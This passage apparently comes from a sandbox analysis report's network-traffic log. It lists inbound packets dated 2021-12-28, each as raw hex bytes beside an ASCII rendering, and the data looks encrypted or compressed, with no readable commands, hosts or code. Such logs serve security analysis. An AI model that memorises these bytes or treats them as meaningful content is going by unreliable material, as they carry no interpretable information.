9d 2e 8c 47 2d 2d 2e d3 1d 6d 1e 7d 29 de 59 9d e1 fd f7 64 e4 51 e7 49 d3 49 e9 04 98 84 31 94 8c ff cc f8 81 17 44 Data Ascii: G`Y:Upj[01y~%M/X_@>jr1=;3tkHIqm 0Szzj4\|qv)01!Kl5u%\"~wn>F-\|0x7g.X?5x^.G--.m})YdQII1D
2021-12-28 04:19:41 UTC	3420	IN	Data Raw: 9d 7c 46 6c d8 1b 41 4b c2 52 c5 fe 46 dd a1 cb c4 a8 da aa f3 10 bc 55 4c d1 0f c3 02 54 c9 c1 e3 da 7d 31 5f ea e9 95 54 ff 7e fa 51 8e 62 ca 5b f5 49 88 0e 57 bf 78 64 15 e2 96 3f 00 ff 52 53 ae 27 70 0f 6b 8a 7e 3e 42 77 32 94 bd c5 35 36 61 c0 b8 17 f3 9d a1 bb 4d b4 d7 6e d1 6a c5 1d 24 da ab 3e 3f d8 f0 c4 73 c1 50 b1 5b 8e 0e 8f 36 5e df 8a 55 21 04 ed 12 75 ee f3 ce 28 0e 55 7e 7e 27 bf 86 2b f2 a4 df b0 34 2b 33 77 36 9b 37 59 06 49 d4 2d 59 d3 89 80 2c f2 65 3b b7 47 77 f4 4b 2a d6 7c c7 a9 20 89 0b 56 d2 88 ea 15 af 21 02 8a a0 6e d7 42 d6 ce 68 5f 8b e2 67 b0 4d 2b 7d 0c f4 8a 41 6d 29 00 40 31 cd 02 68 c1 28 e1 e1 00 32 31 10 02 1c 59 d8 8a 6c 55 75 56 0a a6 cc 62 23 55 a5 a3 04 01 1a 2e d4 e2 a5 92 61 3a 24 84 5b c2 2c f0 b3 94 cd 88 00 d7 Data Ascii: \|FlAKRFULT}1_T~Qb[IWxd?RS'pk~>Bw256aMnj$>?sP[6^U!u(U~~'+4+3w67YI-Y,e;GwK*\| V!nBh_gM+}Am)@1h(21YlUuVb#U.a:$[,
2021-12-28 04:19:41 UTC	3436	IN	Data Raw: 83 d2 2a c8 ba a0 88 8f d0 df 48 88 be 23 0d 5a cd 3e 53 6a 29 93 bd 6a 77 32 c0 12 af 58 e5 76 16 61 17 6f 2d a7 85 b4 80 0f eb 1c 94 5c 0e 77 72 9c 5c 4d 25 15 c3 53 3b f8 06 c8 32 a4 13 f0 07 f9 bc b1 82 e7 4f 6a c0 b2 d2 6e fb 39 93 83 bc 94 31 8a 56 7e d0 63 c1 9a c4 a5 52 22 a0 f3 3e 14 75 e5 25 7a c4 89 8a 34 39 10 c4 ef e7 21 e7 5e e7 26 75 67 25 45 b9 0c 89 4a f6 f5 b9 2f 07 ea 65 14 e7 73 15 74 9c d8 1c 46 da d0 03 cd 8a 52 61 8d 0b aa 0b 64 d2 5b ef 9c 5a c7 bc 49 da 76 71 67 cf 54 23 06 9b f7 91 41 fd 65 b1 9e d7 69 b4 29 90 14 15 f9 b8 0a 7b 6a 17 3f 0d 6e 82 b6 09 2a a2 90 e6 48 73 53 d9 ec 35 12 ed cb 30 42 5b 85 2c 96 04 89 ff c3 40 94 b1 cf 3a 2e fd 40 70 8d 74 ad 86 35 a5 46 7c b3 bf b8 7b 05 0f 59 07 fb a6 33 15 f0 29 18 1e 48 43 45 88 Data Ascii: H#Z>Sj)jw2Xvao-\wr\M%S;2Ojn91V~cR">u%z49!^&ug%EJ/estFRad[ZIvqgT#Aei){j?nHsS50B[,@:.@pt5F\|{Y3)HCE
2021-12-28 04:19:41 UTC	3452	IN	Data Raw: c3 d0 4e 2f 6a bf 2b 3f 6d 87 9d 97 b0 b7 56 2a 21 66 d5 dd 74 c6 58 3f 21 91 44 3e b6 79 31 08 34 14 11 f6 bc e6 b4 f2 71 dd e7 0b bb 86 6c 66 e2 4c 0f 8b c3 80 9f ff b4 12 79 8c 29 dd c9 c1 6a 29 73 00 8f f9 20 1e d7 f8 8d 2e 31 95 f0 a8 73 ab 67 0e 6e d9 ac 57 17 7b 8a 14 73 d3 37 5f 89 dd ca 8c df fd a6 15 6d 0f 0a c9 4c f6 05 ea 5a 91 1c da 41 aa bc 36 be 7b 61 b7 97 49 47 1f 2d 29 73 b7 4e 57 16 79 50 40 65 61 cd 6e 63 4d ab 72 fd ad 70 21 dc 84 fe 24 cf 5a e7 ea 5f 13 ee b4 82 71 21 fe 84 d2 52 ec 00 a1 7d 1c e1 08 1f 9c c9 a0 05 6c 40 d4 65 b1 1b fb ec 6c 2a 2e b1 1a 3b 9d 65 30 29 9a f9 50 41 1b 0b 2a 1d 6c ea c7 aa a8 04 45 5a 0f ec 55 11 75 43 8f d2 cd 9c 4e 00 dc 57 98 5a 50 52 7d 17 be bf 8d 4e b3 24 84 36 13 08 4a a0 69 94 c0 bd 71 a9 ac cc Data Ascii: N/j+?mV!ftX?!D>y14qlfLy)j)s .1sgnW{s7_mLZA6{aIG-)sNWyP@eancMrp!$Z_q!R}l@el.;e0)PA*lEZUuCNWZPR}N$6Jiq
2021-12-28 04:19:41 UTC	3468	IN	Data Raw: 08 03 72 ca 2f 9e 66 3d f6 6f de 5f b5 4f 8e 52 1d 65 5f b1 f0 26 9b 80 a3 b0 f5 81 e4 f3 8d e2 02 8d ad e9 45 1f fa e7 23 ca 51 dd 4f 66 79 7b c7 0e 6a 20 84 37 84 ec 33 b9 fd aa 2a c1 23 f4 f0 1b 0f 1c 5b 2a cb 42 8f a9 9d 33 1d ee 09 ba 9e 07 e4 1f 52 0e 2b e4 b9 7c ae 47 2f e8 21 e3 1e 33 2a 15 11 ca e8 2b 18 13 5d f6 e7 75 f9 df e0 c6 b9 4c b7 da 4f b7 65 50 2d cf b7 e1 66 4d 79 f0 70 25 36 cf c6 65 3f 5f 96 28 5d 25 2a 34 00 f4 9d 5f f9 5f 3f 91 fd 0b 88 5f bd e4 4e af 3c b0 5f bb 10 74 e3 c7 f9 0d 44 bf 64 f1 b0 c2 ea f1 e8 7f d5 57 3e eb 74 a7 a9 62 6c f3 f0 6f e4 87 24 8c c6 52 24 16 c4 0b d6 39 a1 1e 52 9e 45 55 fb d5 4d 6c c4 b4 0f bb 63 2e 07 8f 79 40 87 5f ea 42 d6 cb a6 79 3d 40 eb de 87 fb 69 e3 74 96 81 de 91 95 04 bb aa 38 a0 13 ab 55 b9 Data Ascii: r/f=o_ORe_&E#QOfy{j 73#[B3R+\|G/!3+]uLOeP-fMyp%6e?_(]%4__?_N<_tDdW>tblo$R$9REUMlc.y@_By=@it8U
2021-12-28 04:19:41 UTC	3484	IN	Data Raw: e6 25 a0 5d 56 e3 db a6 16 dc f9 7a 3a d8 ed 21 d4 a8 e8 cf b5 e3 14 fb 07 fa 52 a0 8f a5 70 1a 45 eb 90 9a 26 41 f3 11 4b 5d 37 4f cf 18 0a eb 3a ce 1d 36 42 a1 da bf dc be 50 42 ad aa 40 51 86 c2 dc 31 dc 0e 4e ef 70 cb 41 7c a5 19 4d 4e de ec 0f 87 9e a5 f6 d5 01 02 be 5c 54 49 86 ed 24 a6 e8 6f 67 3a 8e 0d 4e 53 a9 f6 04 b4 3a 65 a4 cd ab 50 32 42 53 8f 0f 22 c4 b7 13 4f ae dd 8b e6 57 0f 58 4d d9 a7 d4 48 6b e1 fa 91 87 dd 18 6a 5d 06 f1 57 69 53 20 e8 4a 8c 36 10 a4 24 b9 c8 00 ea 0f 66 21 77 88 5c 95 7c 59 54 84 e8 53 d8 ea 91 0c a4 6e 75 fd b8 33 a2 59 3e 90 21 ec ed c4 2b ff 73 20 cb cd 7c bb 4f 22 db 67 45 d6 dd c5 24 99 3a 36 c5 f4 f1 bb 1c eb 2e 2d 5c 7b fa f8 32 2c 17 33 6a f8 99 df c1 09 a0 d9 b9 73 25 00 16 98 de de e7 66 13 95 63 f0 07 ac Data Ascii: %]Vz:!RpE&AK]7O:6BPB@Q1NpA\|MN\TI$og:NS:eP2BS"OWXMHkj]WiS J6$f!w\\|YTSnu3Y>!+s \|O"gE$:6.-\{2,3js%fc
2021-12-28 04:19:41 UTC	3500	IN	Data Raw: f7 14 22 8e ed d8 56 06 b9 78 d5 51 ad 5b 4f 47 6b b6 b8 ef 45 c3 ea 43 de 57 82 3b 4a 51 37 9a 9f 09 5e 93 c7 4c 44 db d5 5f b0 1a ea 9f 99 e1 61 dc 72 7f 67 11 fa eb 7c c2 63 a2 65 c8 f3 33 e8 3a 87 6a 4e ba f0 aa d1 0e 7e e1 1c 8f 0c 8c b7 6a 94 42 ce 57 ed b6 d5 94 90 25 3d e2 61 d9 46 c0 cf 34 da b6 c0 ad e0 32 49 0c 0d 01 b7 39 41 a6 26 9b 6c c8 7e 49 a3 2a 77 cd e7 4d 89 09 ea c1 b7 30 f0 dd 10 52 ea d9 c4 ca e9 10 f8 d7 75 bd a8 0f 4b 74 e2 89 2c e1 b3 17 f5 63 d6 16 97 dc 88 cf 62 2a 2c 3b b8 12 1d 68 84 c0 b0 a3 a6 a5 82 c5 71 39 6a e2 72 cc 80 ad e8 53 6d e1 d8 01 2b d3 41 fe a3 52 dd 6d ad e1 ce c6 af 32 e9 1a b9 54 32 60 8a c5 83 de b5 7b c4 1e fd cb 9e 69 65 f9 1b ef 86 84 be 7c 89 08 87 04 2b f7 27 0a ae 0e 04 94 d0 4e c1 2d 7f 0f ac 0a 42 Data Ascii: "VxQ[OGkECW;JQ7^LD_arg\|ce3:jN~jBW%=aF42I9A&l~IwM0RuKt,cb,;hq9jrSm+ARm2T2`{ie\|+'N-B
2021-12-28 04:19:41 UTC	3516	IN	Data Raw: b5 98 dd 89 89 46 ac 59 76 a9 22 d9 21 09 0d 28 f9 ab 0a 7b 27 0f 3e a4 7b 01 35 1d 92 ed c3 4f 6b f6 6c 27 88 1d 8b bc 06 68 61 06 0e cc c8 ce 36 45 4b c1 15 ab 01 21 f4 6c 1a 75 2a d6 96 0c 1d a4 64 8a 28 ed e8 39 b4 95 ad 0f e8 61 d4 4c 39 f0 db da 61 8e c4 1a 43 3e a5 e3 dd be a1 d8 1f 2b 05 a3 fa 53 08 49 90 d4 31 a5 7b 7b 6d 48 9a 4f 36 0d b7 6a 7f 27 34 9f d6 45 26 3a 00 08 69 98 54 9c 64 f5 56 1a e8 b7 d3 9f d9 e6 e1 25 de 75 43 45 40 03 70 d7 7d 97 b7 4c 09 8a 02 8f 1d 27 7c 00 d3 ff 2e 64 60 46 14 37 39 51 ea 1f 52 07 f5 52 48 60 7b 9d 3a bb a3 8a ee b6 e5 2e 5a 9a 8b 0f 91 22 9a d5 22 a0 5d 1a 8d 1c d6 e1 6e 67 b1 85 62 b2 89 60 87 c2 b0 a2 9c f1 b3 33 78 40 34 47 f6 54 b1 52 1c 2f f3 c3 c9 e0 8f 61 05 c7 e6 57 db e1 b4 3c 4e 2b 1a 4f 39 0f 60 Data Ascii: FYv"!({'>{5Okl'ha6EK!lu*d(9aL9aC>+SI1{{mHO6j'4E&:iTdV%uCE@p}L'\|.d`F79QRRH`{:.Z""]ngb`3x@4GTR/aW<N+O9`
2021-12-28 04:19:41 UTC	3532	IN	Data Raw: 1c 43 7a 7e 96 43 28 d3 18 ef 86 36 ca 7f 7c be c3 3e 70 dd ad f6 ea e6 e6 4f 91 96 de 96 25 70 91 92 0c 83 b6 25 8b 9a 8e 62 de 31 e4 10 5b 38 68 54 6d 18 94 37 29 e1 29 0b 4f 8a cd 8c 0f 22 2c 5c 8f 89 06 fb 57 ad 8f 4a 89 16 7a fa ad 0e d0 46 09 fa 53 a9 b2 50 9c 36 87 c0 3f 76 0b 0b 98 2e 73 20 a5 20 4b d2 9c 34 2a 3c 65 89 c6 0d ae 8f e6 ba 14 91 f5 e9 55 c3 dc eb f0 c5 d4 c2 b8 4a 37 a9 5f 66 c5 b9 48 9e af 62 89 9f d1 39 f5 44 5e 09 8e ee 82 91 93 cb 41 3c 26 5e 0a f2 da b5 55 c4 62 b3 c1 6d 9a 72 3c fe 83 7a 84 a1 b4 24 4b ad 35 25 2f bc 19 bb 51 bd b4 f3 dd 30 f9 0c b9 ef e1 d9 97 e1 5f 88 7d 1f 5c e0 5a 29 26 79 c9 8f 69 af 00 0f bd d6 f9 c5 8f 14 8f 3d 82 c9 5d bd 73 c3 18 0c 6c c7 dc f4 37 dd 2e 6c 5c 87 f1 44 67 b1 6d 91 fa 37 45 85 c3 11 8c Data Ascii: Cz~C(6\|>pO%p%b1[8hTm7))O",\WJzFSP6?v.s K4*<eUJ7_fHb9D^A<&^Ubmr<z$K5%/Q0_}\Z)&yi=]sl7.l\Dgm7E
2021-12-28 04:19:41 UTC	3548	IN	Data Raw: a9 d0 ad bd 85 73 15 60 29 2d 92 5f 33 4a f4 9e 00 18 93 f6 0a 9c c3 c3 d6 36 47 91 fa 6b f4 f5 22 60 c2 34 b7 08 56 0d 38 a9 1a 5b 3e 75 8a aa 55 6a 5a b3 fe 28 fb 33 c5 f7 bb 06 b2 bc ce 8b 76 e8 34 b8 e8 ed 9e 21 06 ff a7 d9 6f a3 69 91 38 36 32 05 97 bb 61 f3 52 95 7f f6 0c 17 99 3a 35 6f dc f7 65 cc b1 21 94 65 e9 7e e5 94 3d 2f d0 ed c3 2e a8 04 5e a1 e5 0f 5b 25 f8 c1 7a 44 6d 6e b0 0d 33 ba d5 7c d7 ee 6a 16 fa 11 0d 9e f3 84 80 6a 3d 97 e4 a3 21 a9 71 52 c2 ad ff 8b 35 ec 64 04 2f 40 c6 fc c2 a0 0f 00 ad 53 6c 32 67 9f f5 bd 60 fd 9c 9e 75 5f 4e 3d 24 6a ea 8b 3c f6 4d 63 cd 0d f4 04 6b 61 62 43 21 a9 fe fe 38 57 0c 1e 1b bf 54 02 f8 90 46 14 cb df 0a 2a 26 6b 4b 39 82 89 6c e8 79 18 75 0a 45 09 e0 7d 51 14 ea 29 38 13 d5 58 4f 82 fa 13 3f 60 23 Data Ascii: s`)-_3J6Gk"`4V8[>uUjZ(3v4!oi862aR:5oe!e~=/.^[%zDmn3\|jj=!qR5d/@Sl2g`u_N=$j<MckabC!8WTF*&kK9lyuE}Q)8XO?`#
2021-12-28 04:19:41 UTC	3564	IN	Data Raw: a8 ef 38 f9 b5 dd ea 63 fc f3 c5 7c 64 42 3f 2f cd c6 5c 79 17 1b d7 10 ac b3 da a1 47 d4 3a 18 1c 8a 50 39 03 96 4c 45 0d b8 1b 4c 5b 66 4c 23 0a c4 4f 1c 73 a7 fe 12 9d 2c 91 4a 1a e0 bd d1 7f cc c6 29 a1 cf 15 73 a0 e2 8a 08 79 60 21 83 47 a3 cb 80 bf 6e 51 b3 59 79 09 f4 51 92 f1 1b 10 fb b0 c6 51 73 d1 ef 12 0f f4 1d c6 81 7d 52 9b 21 36 94 d1 03 e6 49 1a 92 e1 be 48 ed 1e 07 56 68 f1 7e 96 6b 91 3f 85 ae 62 1b 24 80 8e d8 cd ca ea 0e 1c 27 b1 eb b3 36 d1 cc 53 87 a8 c3 9b b2 57 79 0f d1 4d 69 dd 8b 07 ba 0a bc 34 82 1b 55 ce 5d 72 d5 25 44 db 72 54 f7 2a 09 e8 43 19 20 ad 05 8b c3 93 60 fb 82 95 2d 50 25 00 d7 f8 cd 22 f0 69 0d f1 d1 95 d0 cc 5d 57 44 36 bd 3c 2c 37 99 f3 aa f4 c9 cd 32 f6 2a a4 b8 5e 2a 26 9f 34 87 93 c4 46 8a 37 54 95 cc eb bb fe Data Ascii: 8c\|dB?/\yG:P9LEL[fL#Os,J)sy`!GnQYyQQs}R!6IHVh~k?b$'6SWyMi4U]r%DrTC `-P%"i]WD6<,72^*&4F7T
2021-12-28 04:19:41 UTC	3580	IN	Data Raw: e0 69 bc 83 e7 cf 7c a8 e4 6b e4 8d ba 6f 4b d1 67 16 9b 8f e5 df b2 fe e7 17 bb 3d 89 bf 17 c1 05 46 a8 2b d5 8d 06 c8 45 6f a4 89 00 0d 65 57 28 b9 e5 ea 4d 34 a4 6a f7 64 50 ba 95 74 6a 77 97 4e cb f4 9f 36 94 69 62 db 90 00 ab 75 ba 35 71 d7 6b 90 9d 0b 01 98 2a fe 22 b6 6d 4b 2b 4d e5 d2 ea fc 00 56 71 22 2e 64 5f 61 09 05 15 31 38 12 7b 3e 06 c7 61 fd 8e b2 61 af 7f 84 9f b4 26 7c 2f f8 4e ac d4 7b d8 b0 f3 96 f6 61 27 d9 ad 53 0b 3c ce 0b e8 55 6a 22 86 a7 ef 31 5d 5b 0e 28 bc 07 da f5 ed a5 e0 ec b3 fb f5 7d ee 29 80 5f 14 22 38 61 1d fe 90 a2 56 cd 81 1c fa 88 c1 ef 53 8e 4d df 09 b0 1f 1f fa 28 ab fe 37 60 72 47 c6 87 0f 7d d2 70 58 5e 35 8c be ef 0a 07 22 0a 5d 89 d7 97 6e 84 48 55 80 cd 40 49 c7 42 a0 95 89 47 67 0b 96 fb bc a7 ce 40 14 5f 63 Data Ascii: i\|koKg=F+EoeW(M4jdPtjwN6ibu5qk*"mK+MVq".d_a18{>aa&\|/N{a'S<Uj"1][(})_"8aVSM(7`rG}pX^5"]nHU@IBGg@_c
2021-12-28 04:19:41 UTC	3596	IN	Data Raw: 3e 14 e4 bf 62 4e a9 4d 42 7a c4 e5 97 2e 3a 3e b6 b9 2b f0 fe 89 66 d7 d7 fc bf 19 82 1e cf d4 83 8d 6c 1c dd d9 54 94 b5 67 58 4c b4 59 a2 cf e7 45 45 34 85 10 92 9f f8 16 09 a5 bc 4d d7 f2 51 4e 63 4e ae 5b 1b 79 dd e0 2c 4f b9 24 78 2d c2 34 77 c5 25 6d e4 7b 4d a6 5f ba 6d ca ab 31 91 0e d6 52 f6 92 16 0c 45 8d 58 46 41 fa c6 a4 82 82 f5 6d 5b 93 2d ab 74 5a 7e 4c ae 06 d2 9a 7b f8 4b ee 4c 43 25 df f0 2c 4b d3 47 ab 13 0d 9e 55 23 11 11 11 ab 69 00 b4 19 62 69 fc 4b 6c b9 03 a3 09 d7 39 34 d6 f5 a4 b8 06 04 6b ac 79 74 83 84 e0 86 8b c0 0b 5f f2 4d 23 6b 3b 91 c6 5f e3 aa a1 5c d4 9f 16 a3 14 ef b5 82 f6 c3 19 cd 2b 6e 90 40 68 12 45 24 79 5e 3f 95 29 16 27 57 10 7d 1a 6d 38 57 87 cb ed a5 06 b6 73 08 de 8f 55 dd 99 aa ab 41 95 3b 07 c6 16 ce e9 4b Data Ascii: >bNMBz.:>+flTgXLYEE4MQNcN[y,O$x-4w%m{M_m1REXFAm[-tZ~L{KLC%,KGU#ibiKl94kyt_M#k;_\+n@hE$y^?)'W}m8WsUA;K
2021-12-28 04:19:41 UTC	3612	IN	Data Raw: 75 7a b1 9a 62 74 bf 18 39 35 bd b3 91 4f 9e 8d 15 04 9b 6e 62 68 ca 97 05 9b 37 5b ab d2 61 05 d9 5a 8c ad 77 6a 98 b5 10 c6 59 5b c7 6b e2 94 eb 94 77 74 92 eb e4 f6 e5 9f 0a f3 d9 0f f6 1b 76 3d cf da f7 67 0b 1d 64 de 4b ad 85 58 f3 bf 47 b3 bd f4 45 36 f0 f8 1b 34 f7 65 44 f5 1d c4 12 2c f1 ee b8 40 01 94 0a 3e 46 3e 24 62 d3 b4 c3 9c 1d a3 da f4 fa f1 e6 16 f3 76 a2 65 07 7d b0 49 4c e2 69 9e 8a 92 2d e3 c3 df e2 da 5e c9 60 15 6d b8 24 57 8c 24 44 4e 88 6c 77 9e e6 cf d2 1f 1a 95 09 00 b1 f7 c9 f6 70 fc e6 e4 c5 d7 2b 0c b3 af b3 fb 1f 6a 29 16 1a 55 40 1b b0 cc 78 ee 13 44 73 d2 34 34 7a cc 14 ce 70 8f 55 28 d9 bf 99 76 f0 b1 eb 8d f6 6a d5 b8 d0 25 06 c1 1b 60 41 09 8c 5e 22 23 91 6a 79 63 1c d3 03 0a 72 17 5f 8e b0 bf 5d 95 08 34 b2 98 17 ae 57 Data Ascii: uzbt95Onbh7[aZwjY[kwtv=gdKXGE64eD,@>F>$bve}ILi-^`m$W$DNlwp+j)U@xDs44zpU(vj%`A^"#jycr_]4W
2021-12-28 04:19:41 UTC	3628	IN	Data Raw: fa 6e 02 67 9c 86 75 8a 2e 3d f2 40 18 cb f9 d2 e3 e4 14 48 12 26 aa 64 8b 3b 56 1a fa 04 8f ea ca dc 65 c8 13 ae 20 84 0b 1f 31 1b 73 3b e0 d6 cb b4 3b 91 4c e5 f8 3b c6 e5 41 48 eb 22 58 d8 11 ff fb 5d bf d7 81 a7 eb df 20 c2 bc 29 37 6b d1 d9 3b 1e 8b 9e 91 59 20 63 16 0e a3 53 69 ef f7 47 e2 02 f3 36 75 29 f3 25 b2 26 ed c3 78 44 55 7c b8 b7 03 78 79 75 33 c3 13 0d da 15 9f 3b 59 b3 dd f5 33 50 49 f4 f3 94 3c 25 12 cc 02 3c 66 05 7a aa 57 d0 73 fe 1f f2 a1 c5 1f 98 33 6d ec 71 02 a3 e3 a3 2d 18 4a 65 5e 59 f8 1a fd d0 9e 36 8f e3 97 02 04 26 82 85 b9 e1 f5 3a 4b b7 47 8e 3e 9f 78 1e 13 b9 71 04 96 58 4a 97 33 db 96 bf 16 fc fc d6 e2 4f 89 78 e1 bf 0a fa c8 f5 09 e5 39 d6 6e 94 a2 a4 e5 4a 25 1a a1 9b 9f 67 19 ad 54 0a ab 68 71 9d 68 9f 77 43 dd 25 48 Data Ascii: ngu.=@H&d;Ve 1s;;L;AH"X] )7k;Y cSiG6u)%&xDU\|xyu3;Y3PI<%<fzWs3mq-Je^Y6&:KG>xqXJ3Ox9nJ%gThqhwC%H
2021-12-28 04:19:41 UTC	3644	IN	Data Raw: 1b f4 2e 7a b8 5b bc 60 d6 24 d4 bc 43 a7 5a 82 82 48 b3 20 38 8b 99 3c a1 80 d1 3e dd 76 65 42 9d 92 90 e1 76 ee 15 b4 85 5e 9f 83 24 b7 19 6d c8 be 08 c9 4d 5b e7 60 b8 ae f7 6e 65 56 9f 6d 58 45 e8 5c bb d1 e3 6b 91 3a 7d a5 8e a4 a5 f6 c1 b0 6f 17 59 c3 8a bb db 7d be 01 e1 96 98 ef 74 6c 0d 07 e8 de 1c a1 70 2e 41 89 26 fc 98 39 e7 2b ff cf 3a 6c 9c 88 e5 94 2d a2 dc d9 7c d1 fd b0 33 30 07 b0 63 8d 91 88 d2 7f d5 9d 73 a3 a4 44 b4 35 ea 50 38 1e ae c0 87 ee 5e 33 63 07 96 60 5f 02 d5 cf 2d b0 c1 17 46 29 2e 91 80 88 e7 05 7e f1 c1 5c 45 fd ec b5 41 ee ed ee 58 ae 8f 53 24 73 ba 94 d2 2a ad 9d da 8f 46 07 24 43 c0 93 7a 16 2b a6 3b a3 c8 cc 68 88 6c 7f 7d 83 d3 2f 32 27 55 43 ca 28 e0 81 f2 d1 f4 ae 45 d0 08 26 ca c5 e7 6d 5a 81 54 f4 06 37 64 f0 55 Data Ascii: .z[`$CZH 8<>veBv^$mM[`neVmXE\k:}oY}tlp.A&9+:l-\|30csD5P8^3c`_-F).~\EAXS$s*F$Cz+;hl}/2'UC(E&mZT7dU
2021-12-28 04:19:41 UTC	3660	IN	Data Raw: 5a 90 a5 23 29 fa 2a 79 84 b3 0b 19 a6 5e d9 24 a8 87 5b 8d c7 09 d8 9d a0 08 20 c9 15 63 65 5d b2 ac e4 ab c0 2e fb d3 de f0 60 78 96 95 8b 1f 24 c6 85 2b c1 0e 51 89 b5 eb c8 e1 2b 47 fe 88 73 06 64 bb ed e3 7b 35 5a 08 1d 92 0b 65 5f 60 d6 ff 7f 41 f2 d0 92 e6 61 86 8b 8c 37 6d f1 25 8b 38 a4 03 00 16 bb 9e 53 a6 eb a2 66 38 cf 1e a2 2c 50 a4 ee 39 83 bb 48 fb 9d bf d3 99 ce f3 02 f7 1b 71 26 c4 bf f0 91 ee 46 75 40 e9 80 a8 2a 59 67 d3 2f d9 a3 d0 17 7d 53 fa 7d 62 b7 2a d5 3e 10 b4 de b6 c5 57 56 41 14 c5 bd 0b 6f 6f 28 05 0d 98 e6 5e 5c 59 0e 49 1e ca 0c 04 c9 8a 1f 1b 66 73 f0 77 36 27 30 fd 55 c2 e7 b4 29 95 08 90 de 66 29 d4 5c 91 bb 35 66 36 78 15 b5 ed c1 09 d8 b5 12 5a 15 20 52 c2 70 5a d7 ca 9b 9b a3 36 3f eb 42 90 1e e6 36 e2 52 22 fe 20 55 Data Ascii: Z#)y^$[ ce].`x$+Q+Gsd{5Ze_`Aa7m%8Sf8,P9Hq&Fu@Yg/}S}b*>WVAoo(^\YIfsw6'0U)f)\5f6xZ RpZ6?B6R" U
2021-12-28 04:19:41 UTC	3676	IN	Data Raw: 1c c4 b1 51 1b ee d9 f7 03 7d c9 e8 fb 32 93 92 0d 4a f7 af 3e 30 a0 dd 4f f7 a1 fa 97 b6 83 a0 bf 97 f7 b1 10 af 0f 35 a1 8b d6 d7 ca 54 ce e7 19 d8 3c 64 db 04 be b1 3a 1b 32 23 a2 71 e4 ad 8b 5e fb 8a 0f 41 f7 03 b0 ca 79 52 5f 93 ea f2 d1 15 e9 ff de 6a 5e 8e 2f 09 2a 17 76 2b 67 0e 84 ab 45 7b 4e 4a c1 f7 d6 0d 2c 50 cc a9 40 d5 fe 71 5d e9 1a e9 62 be cf 37 32 74 bc 63 46 63 13 03 a0 b4 6d 6a da a4 6a 82 01 d9 da 07 31 09 58 e0 ba 31 fc e8 0e ac 80 31 74 79 4a d8 ab b2 90 62 db 6c b2 81 54 03 50 38 2f 93 8b 1b 69 78 4b b3 d1 69 17 96 36 6b f5 a0 e7 35 f4 41 d8 12 3f 1a cd 23 55 45 e3 01 3b 13 65 1b af 3f b7 93 e4 6a f1 82 c3 eb b7 8c e4 93 ef 9f d9 73 61 28 ee 53 f3 0d df 73 18 6a 21 c7 f6 8f 35 07 42 c6 4d 89 29 33 69 0c 26 c4 2c 4f 62 3e 5d 14 aa Data Ascii: Q}2J>0O5T<d:2#q^AyR_j^/*v+gE{NJ,P@q]b72tcFcmjj1X11tyJblTP8/ixKi6k5A?#UE;e?jsa(Ssj!5BM)3i&,Ob>]
2021-12-28 04:19:41 UTC	3692	IN	Data Raw: f4 1c 0f d5 74 a3 f3 22 a5 47 58 e8 08 50 a0 6a 54 30 02 a5 d8 fe d8 99 d5 eb d2 20 dc 2e 24 6c 3b ba 9b be ca 01 72 64 54 ee 1d 68 26 5e 6b 4d 08 eb d9 a8 15 35 7e 7a fb dc 0f b9 a7 f7 e7 40 45 51 4d 55 10 a6 9d c3 86 02 ed 82 27 b3 df cd f2 91 a6 62 ee 11 34 d5 ad a6 8b 3f 81 f6 80 31 f3 1a a6 5e 47 b4 a8 0a ba 58 ac b9 c6 55 e4 55 90 04 45 68 02 35 f9 4e d1 80 24 ee ce 69 cd ed 31 4f 19 7f c2 24 1a f7 9a 26 d1 77 76 00 26 89 d5 ca 17 16 c2 bc 8f 4e da 10 82 b1 06 df fd 56 ea 00 06 e5 20 67 17 07 ea 1f 3d 6b 32 b9 7c db b5 b4 af 43 e8 f3 6b ff 77 29 36 c4 41 7a 8e f0 68 e2 b3 c9 0b 1f 8c 90 9f 25 a7 72 da 3c e9 5e 93 88 2c 8c 87 9a 7c 1f 44 20 bc ad a3 f3 13 ad 85 09 e3 b4 7a d0 e0 e2 87 a0 65 95 c1 a3 ad e5 ec 10 eb 67 0d 39 3c b6 cf 9b 7c bd 3b 50 32 Data Ascii: t"GXPjT0 .$l;rdTh&^kM5~z@EQMU'b4?1^GXUUEh5N$i1O$&wv&NV g=k2\|Ckw)6Azh%r<^,\|D zeg9<\|;P2
2021-12-28 04:19:41 UTC	3708	IN	Data Raw: f9 13 c4 a0 6d e0 cf 94 d0 24 e6 3f 1f 82 d5 c9 48 0f 91 39 26 38 83 9b 39 6c 7a c0 12 b0 0c af a0 99 89 b3 df fd bd 64 13 a0 ad 95 1a 79 e1 62 8b 5d 62 2d b4 1f 71 ea b5 70 7a 64 db f3 84 14 3d 1f f4 b5 06 49 c2 d3 49 44 0e 3f 90 4b 1a 86 74 f4 3d 35 ea 77 f3 d0 89 f2 77 a4 fd b7 42 7d 3e 18 29 ed bc 08 25 ed ab 0f 27 bc 2f e4 35 1a 7a 68 1c da 2a 1a 65 a5 9c ab ed 6c bf 0e c6 20 88 de 5a a8 c7 a3 df f9 f5 76 ee 68 53 bb 38 34 29 55 87 c5 61 51 33 46 f2 ba ab 1c 8b 36 26 da 5c 35 78 3c 86 ad 9a ea 26 06 b8 47 40 51 11 7c 31 c7 8c ce cf 6e db 88 32 f7 8d bc 2d 01 83 b9 89 0c 05 14 94 1a 8d de 63 9c 4c a4 7f d3 06 c5 63 e5 b1 50 2c e2 0b 7b a9 4b a6 67 35 71 51 af d1 c3 8d b5 20 a6 0f 5d ec 99 98 ef 47 f8 7a b6 51 10 33 17 c6 29 53 50 d6 24 22 5f 1a 1a f9 Data Ascii: m$?H9&89lzdyb]b-qpzd=IID?Kt=5wwB}>)%'/5zh*el ZvhS84)UaQ3F6&\5x<&G@Q\|1n2-cLcP,{Kg5qQ ]GzQ3)SP$"_
